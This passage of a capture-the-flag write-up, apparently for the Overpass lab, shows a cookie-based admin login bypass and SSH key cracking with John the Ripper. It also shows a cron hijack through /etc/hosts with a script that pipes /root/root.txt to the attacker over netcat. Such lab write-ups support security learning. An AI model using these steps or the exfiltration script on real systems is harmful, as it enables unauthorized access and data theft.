I try to set value SessionToken empty in cookie and BOOM !!. I logged in as admin. I says
Welcome to the Overpass Administrator area
A secure password manager with support for Windows, Linux, MacOS and more
Since you keep forgetting your password, James, I've set up SSH keys for you.
If you forget the password for this, crack it yourself. I'm tired of fixing stuff for you.
Also, we really need to talk about this "Military Grade" encryption. - Paradox
To Decode the SSH key I use JohnTheRipper Tool in Kali-Linux. First to convert RSA key to hash I use ssh2john.py script.
python ssh2john.py id_rsa > id_rsa.hash
Now to crack the hash.
> john id_rsa.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 1 candidate buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Proceeding with incremental:ASCII
james13 (id_rsa)
Passphrase for private key is james13. Now to decode it use -
Then I see that I can edit the /etc/hosts file and change the IP of overpass.thmdomain to my machine and then I can serve any malacious file to run n server as a root.
buildscript.sh
#!/bin/sh
cat /root/root.txt | nc <MY_IP> 1234
Then I run a python server sering file /downloads/src/buildscript.sh on port 80.
python3 -m http.server 80
And open a netcat listner to listine the flag echo by vulnerable machine.